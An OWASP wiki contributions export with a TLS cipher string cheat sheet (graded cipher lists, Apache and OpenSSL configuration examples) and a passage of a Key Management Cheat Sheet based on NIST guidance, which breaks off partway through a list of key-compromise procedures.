OWASP - User contributions [en]

TLS Cipher String Cheat Sheet

2018-09-30T11:09:48Z

Peter Mosmans: Fix multiple typos

__NOTOC__
<div style="width:100%;height:160px;border:0,margin:0;overflow: hidden;">[[File:Cheatsheets-header.jpg|link=]]</div>

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

= Introduction =
__TOC__{{TOC hidden}}

This article is focused on providing clear and simple examples for the cipher string. They are based on different scenarios where you use the Transport Layer Security (TLS) protocol.

=Recommendations for a cipher string=
==Scenarios==
The cipher strings are based on the recommendation to setup your policy to get a whitelist for your ciphers as described in the <u>[[Transport_Layer_Protection_Cheat_Sheet#Rule_-_Only_Support_Strong_Cryptographic_Ciphers|Transport Layer Protection Cheat Sheet (Rule - Only Support Strong Cryptographic Ciphers)]]</u>. The latest and strongest ciphers are solely available with TLSv1.2, older protocols don't support them. Please find enclosed all supported protocols by the scenario.<br>We have not included any ChaCha20-Poly1305 ciphers, yet. One reason is that we haven't found various assessments yet, the other is that implementations of new ciphers may be more buggy.<br>Finally we have compiled the oldest versions of different client agents that are still compatible with a cipher string. We provide this information according to the ciphers and protocols supported by browsers, libraries, bots on the basis of <u>[https://www.ssllabs.com/ssltest/clients.html ssllabs's list of user agent capabilities]</u> and tests on our own. We have checked this thoroughly, but please accept that all data is provided without any warranty of any kind (Please contact the authors if you find any errors or if you can provide additional data).

The recommended cipher strings are based on different scenarios:
* <b>OWASP Cipher String 'A+'</b> (Advanced+, limited compatibility, e.g. to more recent browser versions)
:* Recommended if you control the server and the clients (e.g. by approvement) and if you check the compatibility before using it
:* Includes solely the strongest perfect forward secrecy (PFS) ciphers
:* Protocols: TLSv1.2 (and newer or better)
:* Oldest known clients that are compatible: Android 4.4.2, BingPreview Jan 2015, Chrome 32/Win 7, Chrome 34/OS X, Edge 12/Win 10, Firefox 27/Win 8, Googlebot Feb 2015, IE11/Win 7 + MS14-066, Java8b132, OpenSSL 1.0.1e, Safari 9/iOS 9, Yahoo Slurp Jun 2014, YandexBot Sep 2014
* <b>OWASP Cipher String 'A'</b> (Advanced, wider compatibility, e.g. to most newer browser versions)
:* Recommended if you control the server and the clients (e.g. by approvement) if the 'A+' string does not work, make sure to check the compatibility before using it
:* includes solely the strongest and stronger PFS ciphers
:* Protocols: TLSv1.2 (and newer or better)
:* Oldest known clients that are compatible: Android 4.4.2, BingPreview Jan 2015, Chrome 30/Win 7, Chrome 34/OS X, Edge 12/Win 10, Firefox 27/Win 8, Googlebot Feb 2015, IE11/Win 7, IE 11/WinPhone 8.1, Java8b132, OpenSSL 1.0.1e, Opera 17/Win 7, Safari 5/iOS 5.1.1, Safari 7/OS X 10.9, Yahoo Slurp Jun 2014, YandexBot Sep 2014
* <b>OWASP Cipher String 'B'</b> (Broad compatibility to browsers, check the compatibility to other protocols before using it, e.g. IMAPS)
:* Recommended if you solely control the server, the clients use their browsers and if you check the compatibility before using it for other protocols than https
:* Includes solely PFS ciphers
:* Be aware of additional risks and of new vulnerabilities that may appear are more likely than above
:* Plan to phase out SHA-1 and TLSv1, TLSv1.1 for https in middle-term
:* Protocols: TLSv1.2, TLSv1.1, TLSv1 (and newer or better)
:* Oldest known clients that are compatible: Android 2.3.7/4.0.4, Baidu Jan 2015, BingPreview Dec 2013, Chrome 27/Win 7, Chrome 34/OS X, Edge 12/Win 10, Firefox 10.0.12 ESR/Win 7, Firefox 21/Win 7+Fedora 19, Googlebot Oct 2013, IE 7/Vista, IE 10/WinPhone 8.0, Java 7u25, OpenSSL 0.9.8y, Opera 12.15/Win 7, Safari 5/iOS 5.1.1, Safari 5.1.9/OS X 10.6.8, Yahoo Slurp Oct 2013, YandexBot May 2014
* <b>OWASP Cipher String 'C'</b> (Widest Compatibility, compatibility to most legacy browsers, legacy libraries (still patched) and other application protocols besides https, e.g. IMAPS)
:* You may use this if you solely control the server, your clients use elder browsers and other elder libraries or if you use other protocols than https
:* Be aware of the existing risks and of new vulnerabilities that may appear more likely
:* PFS ciphers are preferred, except all DHE ciphers that use SHA-1 (to prevent possible incompatibility issues caused by the length of the DHparameter)
:* Plan to move to 'A' for https or at least 'B' otherwise in middle-term
:* Protocols: TLSv1.2, TLSv1.1, TLSv1 (and newer or better)
* <b>OWASP Cipher String 'C-'</b> (Legacy, widest compatibility to real old browsers and legacy libraries and other application protocols like SMTP)
:* Take care, use this cipher string only if you are forced to support 3DES(=TLS_RSA_WITH_3DES_EDE_CBC_SHA, =DES-CBC3-SHA) for real old clients with very old libraries or old libraries for other protocols besides https
:* Be aware of the existing risks (e.g. ciphers without PFS, ciphers with 3DES) and of new vulnerabilities that may appear the most likely
:* <b>Never use</b> even more INSECURE or elder ciphers based on RC2, RC4, DES, MD4, MD5, EXP, EXP1024, AH, ADH, aNULL, eNULL, SEED nor IDEA
:* PFS ciphers are preferred, except all DHE ciphers that use SHA-1 (to prevent possible incompatibility issues caused by the length of the DHparameter)
:* Plan to move at least to 'C' in a short-term
:* Protocols: TLSv1.2, TLSv1.1, TLSv1 (and newer or better)

==Table of the ciphers (and their priority from high (1) to low (e.g. 19))==
IANA, OpenSSL and other crypto libraries use slightly different names for the same ciphers. This table lists the names used by IANA and by openssl in brackets []. Additional you can find the unambiguously hex values defined by IANA. Mozilla offers a larger <u>[https://wiki.mozilla.org/Security/Server_Side_TLS#Cipher_names_correspondence_table cipher names correspondence table]</u>.
{| border="1" cellspacing="1" cellpadding="1" style="border-collapse:collapse; text-align: center; font-size:84%;"
|- style="font-size: 119%; background-color:#DCDCDC;"
! style="text-align:left;" |Cipher name: <br> IANA, [openssl]
! style="width: 8%;" | Cipher hex value
! style="width:11%;" | Advanced+ (A+)
! style="width:11%;" | Advanced (A)
! style="width:11%;" | Broad <br> Compatibility (B)
! style="width:11%;" | Widest <br> Compatibility (C)
! style="width:11%;" | Legacy (C-)
|- style="background-color:#B9FFC5;"

| style="text-align:left" | TLS_DHE_RSA_WITH_AES_256_GCM_SHA384, <br> [DHE-RSA-AES256-GCM-SHA384] || 0x009f || 1 || 1 || 1 || 1 || 1
|- style="background-color:#B9FFC5;"
| style="text-align:left" | TLS_DHE_RSA_WITH_AES_128_GCM_SHA256, <br> [DHE-RSA-AES128-GCM-SHA256] || 0x009e || 2 || 2 || 2 || 2 || 2
|- style="background-color:#B9FFC5;"
| style="text-align:left" | TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384, <br> [ECDHE-RSA-AES256-GCM-SHA384] || 0xc030 || 3 || 3 || 3 || 3 || 3
|- style="background-color:#B9FFC5;"
| style="text-align:left" | TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, <br> [ECDHE-RSA-AES128-GCM-SHA256] || 0xc02f || 4 || 4 || 4 || 4 || 4
|- style="background-color:#E3FFE3;"
| style="text-align:left" | TLS_DHE_RSA_WITH_AES_256_CBC_SHA256, <br> [DHE-RSA-AES256-SHA256] || 0x006b || || 5 || 5 || 5 || 5
|- style="background-color:#E3FFE3;"
| style="text-align:left" | TLS_DHE_RSA_WITH_AES_128_CBC_SHA256, <br> [DHE-RSA-AES128-SHA256] || 0x0067 || || 6 || 6 || 6 || 6
|- style="background-color:#E3FFE3;"
| style="text-align:left" | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384, <br> [ECDHE-RSA-AES256-SHA384] || 0xc028 || || 7 || 7 || 7 || 7
|- style="background-color:#E3FFE3;"
| style="text-align:left" | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256, <br> [ECDHE-RSA-AES128-SHA256] || 0xc027 || || 8 || 8 || 8 || 8
|-
| style="text-align:left" | TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA, <br> [ECDHE-RSA-AES256-SHA] || 0xc014 || || || 9 || 9 || 9
|-
| style="text-align:left" | TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA, <br> [ECDHE-RSA-AES128-SHA] || 0xc013 || || || 10 || 10 || 10
|- style="background-color:#F4F6F8;"
| style="text-align:left" | TLS_RSA_WITH_AES_256_GCM_SHA384, <br> [AES256-GCM-SHA384] || 0x009d || || || || 11 || 11
|- style="background-color:#F4F6F8;"
| style="text-align:left" | TLS_RSA_WITH_AES_128_GCM_SHA256, <br> [AES128-GCM-SHA256] || 0x009c || || || || 12 || 12
|- style="background-color:#F4F6F8;"
| style="text-align:left" | TLS_RSA_WITH_AES_256_CBC_SHA256, <br> [AES256-SHA256] || 0x003d || || || || 13 || 13
|- style="background-color:#F4F6F8;"
| style="text-align:left" | TLS_RSA_WITH_AES_128_CBC_SHA256, <br> [AES128-SHA256] || 0x003c || || || || 14 || 14
|- style="background-color:#F4F6F8;"
| style="text-align:left" | TLS_RSA_WITH_AES_256_CBC_SHA, <br> [AES256-SHA] || 0x0035 || || || || 15 || 15
|- style="background-color:#F4F6F8;"
| style="text-align:left" | TLS_RSA_WITH_AES_128_CBC_SHA, <br> [AES128-SHA] || 0x002f || || || || 16 || 16
|- style="background-color:#FFFF88;"
| style="text-align:left" | TLS_RSA_WITH_3DES_EDE_CBC_SHA, <br> [DES-CBC3-SHA] || 0x000a || || || || || 17
|-
| style="text-align:left" | TLS_DHE_RSA_WITH_AES_256_CBC_SHA, <br> [DHE-RSA-AES256-SHA] || 0x0039 || || || 11 || 17 || 18
|-
| style="text-align:left" | TLS_DHE_RSA_WITH_AES_128_CBC_SHA, <br> [DHE-RSA-AES128-SHA] || 0x0033 || || || 12 || 18 || 19
|}
<b>Remarks:</b><br>- Elder versions of Internet-Explorer and Java do <b>not</b> support Diffie-Hellman parameters >1024 bit. So the ciphers 'TLS_DHE_RSA_WITH_AES_256_CBC_SHA' and 'TLS_DHE_RSA_WITH_AES_128_CBC_SHA' were moved to the end to prevent possible incompatibility issues. Other option: Delete this two ciphers from your list.<br/>

==Examples for cipher strings==
* OpenSSL
::{| border="1" cellspacing="1" cellpadding="1" style="border-collapse:collapse; text-align: left; font-size:84%;"
|- style="font-size: 119%; background-color:#EAECF0;"
!Cipher-String || OpenSSL-Syntax
|- style="background-color:#B9FFC5;"
| style="font-size: 119%;"| <b>Advanced+ (A+)</b> || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256
|- style="background-color:#E3FFE3;"
| style="font-size: 119%;"| <b>Advanced (A)</b> || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256
|-
| style="font-size: 119%;"| <b>Broad Compatibility (B)</b> || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA
|- style="background-color:#F4F6F8;"
| style="font-size: 119%;"| <b>Widest Compatibility (C)</b> || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA
|- style="background-color:#FFFF88;"
| style="font-size: 119%;"| <b>Legacy (C-)</b> || DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA
|}
= How to use this Cipher Strings? =
* Inform yourself how to securely configure the settings for the services or hardware that you do use, e.g. <u>[https://bettercrypto.org BetterCrypto.org: Applied Crypto Hardening (DRAFT)]</u>, <u>[https://wiki.mozilla.org/Security/Server_Side_TLS Mozilla: Security/Server Side TLS]</u>. We recommend to use one of the cipher strings described above.

=Example configs=
==Apache==
* Cipher String 'A':
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
SSLProtocol +TLSv1.2                  # for Cipher-String 'A+', 'A'<br>
<nowiki>#</nowiki>SSLProtocol +TLSv1.2 +TLSv1.1 +TLSv1 # for Cipher-String 'B', 'C', 'C-'<br>
SSLCompression off <br>
SSLHonorCipherOrder on <br>
SSLCipherSuite 'DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256'<br>
<nowiki>#</nowiki>add optionally ':!aNULL:!eNULL:!LOW:!3DES:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:!ADH:!IDEA:!3DES'
{{Top_10_2010:ExampleEndTemplate}}
<b>Remarks:</b><br>- The cipher string is compiled as a whitelist of individual ciphers to get a better compatibility even with old versions of OpenSSL.<br/>- Monitor the performance of your server, e.g. the TLS handshake with DHE hinders the CPU about 2.4 times more than ECDHE, cf. <u>[http://vincent.bernat.im/en/blog/2011-ssl-perfect-forward-secrecy.html#some-benchmarks Vincent Bernat, 2011]</u>, <u>[http://nmav.gnutls.org/2011/12/price-to-pay-for-perfect-forward.html nmav's Blog, 2011]</u>.

* Verify your cipher string using your crypto library, e.g. openssl using cipher string 'A':
{{Top_10_2010:ExampleBeginTemplate|year=2013}}
openssl ciphers -V "DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256"<br>
<nowiki>#</nowiki>add optionally ':!aNULL:!eNULL:!LOW:!MD5:!EXP:!PSK:!DSS:!RC4:!SEED:!ECDSA:!ADH:!IDEA' to protect older Versions of OpenSSL<br>
<nowiki>#</nowiki>use openssl ciphers -v "..." for openssl < 1.0.1:
<small>
0x00,0x9F - DHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(256) Mac=AEAD
0x00,0x9E - DHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AESGCM(128) Mac=AEAD
0xC0,0x30 - ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD
0xC0,0x2F - ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(128) Mac=AEAD
0x00,0x6B - DHE-RSA-AES256-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(256) Mac=SHA256
0x00,0x67 - DHE-RSA-AES128-SHA256 TLSv1.2 Kx=DH Au=RSA Enc=AES(128) Mac=SHA256
0xC0,0x28 - ECDHE-RSA-AES256-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(256) Mac=SHA384
0xC0,0x27 - ECDHE-RSA-AES128-SHA256 TLSv1.2 Kx=ECDH Au=RSA Enc=AES(128) Mac=SHA256
</small>
{{Top_10_2010:ExampleEndTemplate}}
<b>CAUTION</b>: You need a newer version of OpenSSL to use this cipher string!<br/>

<br/>

=Related Articles=

* <u>[[Transport Layer Protection Cheat Sheet|OWASP: Transport Layer Protection Cheat Sheet]]</u>
* <u>[https://bettercrypto.org BetterCrypto.org: Applied Crypto Hardening (DRAFT)]</u>
* <u>[https://wiki.mozilla.org/Security/Server_Side_TLS Mozilla: Security/Server Side TLS]</u>

<br/>

= Authors and Primary Editors =
{{Template:Contact | name = Torsten Gigler | email =torsten.gigler@owasp.org | username = T.Gigler}}<br/>
{{Template:Contact | name = Achim Hoffmann | email =achim@owasp.org | username = Achim}}<br/>

== Other Cheatsheets ==

{{Cheatsheet_Navigation_Body}}

[[Category:Cheatsheets]]

User Privacy Protection Cheat Sheet

2018-06-19T06:11:05Z

Peter Mosmans: Replace TrueCrypt with its 'successor' VeraCrypt

Key Management Cheat Sheet

2018-06-19T01:53:35Z

Peter Mosmans: Add link to cheat sheet

=Introduction=
This Key Management Cheat Sheet provides developers with guidance for implementation of cryptographic key management within an application in a secure manner. It is important to document and harmonize rules and practices for:
<ol>
<li>key life cycle management (generation, distribution, destruction)</li>
<li>key compromise, recovery and zeroization</li>
<li>key storage</li>
<li>key agreement</li>
</ol>
=General Guidelines and Considerations=
Formulate a plan for the overall organization's cryptographic strategy to guide developers working on different applications and ensure that each application's cryptographic capability meets minimum requirements and best practices. Identify the cryptographic and key management requirements for your application and map all components that process or store cryptographic key material.
=Key Selection=
Selection of the cryptographic and key management algorithms to use within a given application should begin with an understanding of the objectives of the application. For example, if the application is required to store data securely, then the developer should select an algorithm suite that supports the objective of data at rest protection security. Applications that are required to transmit and receive data would select an algorithm suite that supports the objective of data in transit protection. We have provided recommendations on the selection of crypto suites within an application based on application and security objectives.
Application developers oftentimes begin the development of crypto and key management capabilities by examining what is available in a library. However, an analysis of the real needs of the application should be conducted to determine the optimal key management approach. Begin by understanding the security objectives of the application which will then drive the selection of cryptographic protocols that are best suited.
For example, the application may require:
<ol>
<li>Confidentiality of data at rest and confidentiality of data in transit. </li>
<li>Authenticity of the end device </li>
<li>Authenticity of data origin </li>
<li>Integrity of data in transit </li>
<li>Keys to create the data encryption keys </li>
</ol>
Once the understanding of the security needs of the application is achieved, developers can determine what protocols and algorithms are required. Once the protocols and algorithms are understood, you can you can begin to define the different types of keys that will support the application's objectives. There are a diverse set of key types and certificates to consider, for example:
<ol>
<li>Encryption: - Symmetric encryption keys - Asymmetric encryption keys (public and private) </li>
<li>Authentication of End Devices: - Pre-shared symmetric keys - Trusted certificates - Trust Anchors </li>
<li>Data Origin Authentication - HMAC </li>
<li>Integrity Protection - Message Authentication Codes (MACs) </li>
<li>Key Encryption Keys </li>
</ol>
==Algorithms and Protocols==
According to NIST SP 800-57 Part 1, many algorithms and schemes that provide a security service use a hash function as a component of the algorithm. Hash functions can be found in digital signature algorithms (FIPS186), Keyed-Hash Message Authentication Codes (HMAC) (FIPS198), key-derivation functions/methods (NIST Special Publications (SP) 800-56A, 800-56B, 800-56C and 800-108), and random number generators (NIST SP 800-90A). Approved hash functions are defined in FIPS180.
NIST SP 800-57 Part 1 recognizes three basic classes of approved cryptographic algorithms: hash functions, symmetric- key algorithms and asymmetric-key algorithms. The classes are defined by the number of cryptographic keys that are used in conjunction with the algorithm.
===Cryptographic hash functions===
Cryptographic hash functions do not require keys. Hash functions generate a relatively small digest (hash value) from a (possibly) large input in a way that is fundamentally difficult to reverse (i.e., it is hard to find an input that will produce a given output). Hash functions are used as building blocks for key management, for example,
<ol>
<li>To provide data authentication and integrity services (Section 4.2.3) – the hash function is used with a key to generate a message authentication code; </li>
<li>To compress messages for digital signature generation and verification (Section 4.2.4); </li>
<li>To derive keys in key-establishment algorithms (Section 4.2.5); and</li>
<li>To generate deterministic random numbers (Section 4.2.7). </li>
</ol>
===Symmetric-key algorithms===
Symmetric-key algorithms (sometimes known as secret-key algorithms) transform data in a way that is fundamentally difficult to undo without knowledge of a secret key. The key is “symmetric” because the same key is used for a cryptographic operation and its inverse (e.g., encryption and decryption). Symmetric keys are often known by more than one entity; however, the key shall not be disclosed to entities that are not authorized access to the data protected by that algorithm and key. Symmetric key algorithms are used, for example,
<ol>
<li>To provide data confidentiality (Section 4.2.2); the same key is used to encrypt and decrypt data; </li>
<li>To provide authentication and integrity services (Section 4.2.3) in the form of Message Authentication Codes (MACs); the same key is used to generate the MAC and to validate it. MACs normally employ either a symmetric key-encryption algorithm or a cryptographic hash function as their cryptographic primitive; </li>
<li>As part of the key-establishment process (Section 4.2.5); and </li>
<li>To generate deterministic random numbers (Section 4.2.7). </li>
</ol>
===Asymmetric-key algorithms===
Asymmetric-key algorithms, commonly known as public-key algorithms, use two related keys (i.e., a key pair) to perform their functions: a public key and a private key. The public key may be known by anyone; the private key should1 be under the sole control of the entity that “owns” the key pair. Even though the public and private keys of a key pair are related, knowledge of the public key does not reveal the private key. Asymmetric algorithms are used, for example,
<ol>
<li>To compute digital signatures (Section 4.2.4); </li>
<li>To establish cryptographic keying material (Section 4.2.5); and </li>
<li>To generate random numbers (Section 4.2.7). </li>
</ol>
===Message Authentication Codes (MACs)===
Message Authentication Codes (MACs) provide data authentication and integrity. A MAC is a cryptographic checksum on the data that is used in order to provide assurance that the data has not changed and that the MAC was computed by the expected entity. Although message integrity is often provided using non-cryptographic techniques known as error detection codes, these codes can be altered by an adversary to effect an action to the adversary’s benefit. The use of an approved cryptographic mechanism, such as a MAC, can alleviate this problem. In addition, the MAC can provide a recipient with assurance that the originator of the data is a key holder (i.e., an entity authorized to have the key). MACs are often used to authenticate the originator to the recipient when only those two parties share the MAC key.
===Digital Signatures===
Digital signatures are used to provide authentication, integrity and non-repudiation. Digital signatures are used in conjunction with hash functions and are computed on data of any length (up to a limit that is determined by the hash function). FIPS186 specifies algorithms that are approved for the computation of digital signatures.
===Key Encryption Keys===
Symmetric key-wrapping keys are used to encrypt other keys using symmetric-key algorithms. Key-wrapping keys are also known as key encrypting keys.
==Key Strength==
Review NIST SP 800-57 (Recommendation for Key Management) for recommended guidelines on key strength for specific algorithm implementations. Also, consider these best practices:
<ol>
<li>Establish what the application's minimum computational resistance to attack should be. Understanding the minimum computational resistance to attack should take into consideration the sophistication of your adversaries, how long data needs to be protected, where data is stored and if it is exposed. Identifying the computational resistance to attack will inform engineers as to the minimum length of the cryptographic key required to protect data over the life of that data. Consult NIST SP 800-131a for additional guidance on determining the appropriate key lengths for the algorithm of choice. </li>
<li>When encrypting keys for storage or distribution, always encrypt a cryptographic key with another key of equal or greater cryptographic strength. </li>
<li>When moving to Elliptic Curve-based algorithms, choose a key length that meets or exceeds the comparative strength of other algorithms in use within your system. Refer to NIST SP 800-57 Table 2. </li>
<li>Formulate a strategy for the overall organization's cryptographic strategy to guide developers working on different applications and ensure that each application's cryptographic capability meets minimum requirements and best practices. </li>
</ol>
==Memory Management Considerations==
Keys stored in memory for a long time can become “burned in”. This can be mitigated by splitting the key into components that are frequently updated. NIST SP 800.57). Loss or corruption of the memory media on which keys and/or certificates are stored, and recovery planning, according to NIST SP 800.57.
Plan for the recovery from possible corruption of the memory media necessary for key or certificate generation, registration, and/or distribution systems, subsystems, or components as recommended in NIST SP 800.57.
==Perfect Forward Secrecy==
Ephemeral keys can provide perfect forward secrecy protection, which means a compromise of the server's long term signing key does not compromise the confidentiality of past sessions. Refer to [https://www.owasp.org/index.php/Transport_Layer_Protection_Cheat_Sheet OWASP Transport Layer Protection Cheat Sheet].

==Proxy Handling==
==Key Usage==
According to NIST, in general, a single key should be used for only one purpose (e.g., encryption, authentication, key wrapping, random number generation, or digital signatures). There are several reasons for this:
<ol>
<li>The use of the same key for two different cryptographic processes may weaken the security provided by one or both of the processes. </li>
<li>Limiting the use of a key limits the damage that could be done if the key is compromised. </li>
<li>Some uses of keys interfere with each other. For example, the length of time the key may be required for each use and purpose. Retention requirements of the data may differ for different data types. </li>
</ol>
==Cryptographic Module Topics==
According to NIST SP800-133, cryptographic modules are the set of hardware, software, and/or firmware that implements security functions (including cryptographic algorithms and key generation) and is contained within a cryptographic module boundary to provide protection of the keys.
=Key Management Lifecycle Best Practices=
==Generation==
Cryptographic keys shall be generated within cryptographic module with at least a FIPS 140-2 compliance. For explanatory purposes, consider the cryptographic module in which a key is generated to be the key-generating module. Any random value required by the key-generating module shall be generated within that module; that is, the Random Bit Generator that generates the random value shall be implemented within cryptographic module with at least a FIPS 140-2 compliance that generates the key.
Hardware cryptographic modules are preferred over software cryptographic modules for protection.
==Distribution==
The generated keys shall be transported (when necessary) using secure channels and shall be used by their associated cryptographic algorithm within at least a FIPS 140-2 compliant cryptographic modules. For additional detail for the recommendations in this section refer to NIST Special Paper 800-133.
==Storage==
<ol>
<li>Developers must understand where cryptographic keys are stored within the application. Understand what memory devices the keys are stored on. </li>
<li>Keys must be protected on both volatile and persistent memory, ideally processed within secure cryptographic modules. </li>
<li>Keys should never be stored in plaintext format. </li>
<li>Ensure all keys are stored in cryptographic vault, such as a hardware security module (HSM) or isolated cryptographic service. </li>
<li>If you are planning on storing keys in offline devices/databases, then encrypt the keys using Key Encryption Keys (KEKs) prior to the export of the key material. KEK length (and algorithm) should be equivalent to or greater in strength than the keys being protected. </li>
<li>Ensure that keys have integrity protections applied while in storage (consider dual purpose algorithms that support encryption and Message Code Authentication (MAC)). </li>
<li>Ensure that standard application level code never reads or uses cryptographic keys in any way and use key management libraries. </li>
<li>Ensure that keys and cryptographic operation is done inside the sealed vault. </li>
<li>All work should be done in the vault (such as key access, encryption, decryption, signing, etc). </li>
</ol>
==Escrow and Backup==
Data that has been encrypted with lost cryptographic keys will never be recovered. Therefore, it is essential that the application incorporate a secure key backup capability, especially for applications that support data at rest encryption for long-term data stores. When backing up keys, ensure that the database that is used to store the keys is encrypted using at least a FIPS 140-2 validated module.
It is sometimes useful to escrow key material for use in investigations and for re-provisioning of key material to users in the event that the key is lost or corrupted. Never escrow keys used for performing digital signatures, but consider the need to escrow keys that support encryption. Oftentimes, escrow can be performed by the Certificate Authority (CA) or key management system that provisions certificates and keys, however in some instances separate APIs must be implemented to allow the system to perform the escrow for the application.
==Key Rotation==
==Accountability and Audit==
Accountability involves the identification of those that have access to, or control of, cryptographic keys throughout their lifecycles. Accountability can be an effective tool to help prevent key compromises and to reduce the impact of compromises once they are detected. Although it is preferred that no humans are able to view keys, as a minimum, the key management system should account for all individuals who are able to view plaintext cryptographic keys. In addition, more sophisticated key-management systems may account for all individuals authorized to access or control any cryptographic keys, whether in plaintext or ciphertext form.
Accountability provides three significant advantages:
<ol>
<li>It aids in the determination of when the compromise could have occurred and what individuals could have been involved, </li>
<li>It tends to protect against compromise, because individuals with access to the key know that their access to the key is known, and </li>
<li>It is very useful in recovering from a detected key compromise to know where the key was used and what data or other keys were protected by the compromised key. </li>
</ol>
Certain principles have been found to be useful in enforcing the accountability of cryptographic keys. These principles might not apply to all systems or all types of keys. Some of the principles that apply to long-term keys controlled by humans include:
<ol>
<li>Uniquely identifying keys, </li>
<li>Identifying the key user, </li>
<li>Identifying the dates and times of key use, along with the data that is protected, and </li>
<li>Identifying other keys that are protected by a symmetric or private key. </li>
</ol>
Two types of audit should be performed on key management systems:
<ol>
<li>The security plan and the procedures that are developed to support the plan should be periodically audited to ensure that they continue to support the Key Management Policy (NIST SP 800-57 Part 2). </li>
<li>The protective mechanisms employed should be periodically reassessed with respect to the level of security that they provide and are expected to provide in the future, and that the mechanisms correctly and effectively support the appropriate policies. </li>
</ol>
New technology developments and attacks should be taken into consideration. On a more frequent basis, the actions of the humans that use, operate and maintain the system should be reviewed to verify that the humans continue to follow established security procedures. Strong cryptographic systems can be compromised by lax and inappropriate human actions. Highly unusual events should be noted and reviewed as possible indicators of attempted attacks on the system.
==Key Compromise and Recovery==
The compromise of a key has the following implications:
<ol>
<li>In general, the unauthorized disclosure of a key used to provide confidentiality protection (i.e., via encryption) means that all information encrypted by that key could be expose or known by unauthorized entities. The disclosure of a Certificate of Authorities’s private signature key means that an adversary can create fraudulent certificates and Certificate Revocation Lists (CRLs). </li>
<li>A compromise of the integrity of a key means that the key is incorrect - either that the key has been modified (either deliberately or accidentally), or that another key has been substituted; this includes a deletion (non-availability) of the key. The substitution or modification of a key used to provide integrity calls into question the integrity of all information protected by the key. This information could have been provided by, or changed by, an unauthorized entity that knows the key. The substitution of a public or secret key that will be used (at a later time) to encrypt data could allow an unauthorized entity (who knows the decryption key) to decrypt data that was encrypted using the encryption key. </li>
<li>A compromise of a key’s usage or application association means that the key could be used for the wrong purpose (e.g., for key establishment instead of digital signatures) or for the wrong application, and could result in the compromise of information protected by the key. </li>
<li>A compromise of a key’s association with the owner or other entity means that the identity of the other entity cannot be assured (i.e., one does not know who the other entity really is) or that information cannot be processed correctly (e.g., decrypted with the correct key). </li>
<li>A compromise of a key’s association with other information means that there is no association at all, or the association is with the wrong “information”. This could cause the cryptographic services to fail, information to be lost, or the security of the information to be compromised. Certain protective measures may be taken in order to minimize the likelihood or consequences of a key compromise. Similar affect as ransomware, except that you can’t pay the ransom and get the key back. </li>
</ol>
The following procedures are usually involved:
<ol>
<li>Limiting the amount of time a symmetric or private key is in plaintext form. </li>
<li>Preventing humans from viewing plaintext symmetric and private keys. </li>
<li>Restricting plaintext symmetric and private keys to physically protected containers. This includes key generators, key-transport devices, key loaders, cryptographic modules, and key-storage devices. </li>
